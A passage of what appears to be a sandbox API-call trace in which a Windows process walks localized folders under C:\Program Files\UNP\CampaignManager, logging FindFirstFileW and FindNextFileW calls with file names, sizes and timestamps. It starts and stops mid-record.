nFileSizeHigh=0x0, nFileSizeLow=0x18b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.879] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.879] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.879] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.880] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.880] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-NO", cAlternateFileName="")) returned 1 [0184.880] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.880] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0184.881] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.881] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9653, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.881] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.881] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.882] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.882] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.882] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0184.883] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.883] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0184.883] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.883] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.884] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.884] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa1a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.884] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f446d9f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f446d9f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.884] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f446d9f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f446d9f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x195, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.884] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f741ca5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f741ca5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.885] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f741ca5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f741ca5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.885] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.886] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.886] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0184.886] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.886] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.887] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.887] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9e86, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.887] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.888] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f9f0764, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.888] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb21a2e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fb21a2e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.888] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fb21a2e, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fb21a2e, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1bd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.888] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.889] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.889] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0184.889] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.889] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484bd8 [0184.890] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.890] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa089, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.890] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x256, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.890] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fedb513, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8fedb513, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.891] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.891] FindNextFileW (in: hFindFile=0x484bd8, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.891] FindClose (in: hFindFile=0x484bd8 | out: hFindFile=0x484bd8) returned 1 [0184.892] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.892] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0184.892] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.892] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.893] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.893] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x910709ea, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xa00a700, ftLastWriteTime.dwHighDateTime=0x1d2d49b, nFileSizeHigh=0x0, nFileSizeLow=0x6f0d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="20170517_Lock_200.gif", cAlternateFileName="201705~1.GIF")) returned 1 [0184.893] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914769c5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x914769c5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x39d55500, ftLastWriteTime.dwHighDateTime=0x1d29d5c, nFileSizeHigh=0x0, nFileSizeLow=0x4b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Back_0000_Hover.png", cAlternateFileName="BACK_0~1.PNG")) returned 1 [0184.894] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x914769c5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x914769c5, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x39d55500, ftLastWriteTime.dwHighDateTime=0x1d29d5c, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Back_0001_Static.png", cAlternateFileName="BACK_0~2.PNG")) returned 1 [0184.894] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916d8f47, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x916d8f47, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1ab83100, ftLastWriteTime.dwHighDateTime=0x1d2cb1b, nFileSizeHigh=0x0, nFileSizeLow=0x152b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jquery-3.1.1.min.js", cAlternateFileName="JQUERY~1.JS")) returned 1 [0184.894] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2cfb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918a2cfb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xa00a700, ftLastWriteTime.dwHighDateTime=0x1d2d49b, nFileSizeHigh=0x0, nFileSizeLow=0x203b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Lock-Confirmation-page-350.png", cAlternateFileName="LOCK-C~1.PNG")) returned 1 [0184.894] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2cfb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x918a2cfb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1c907700, 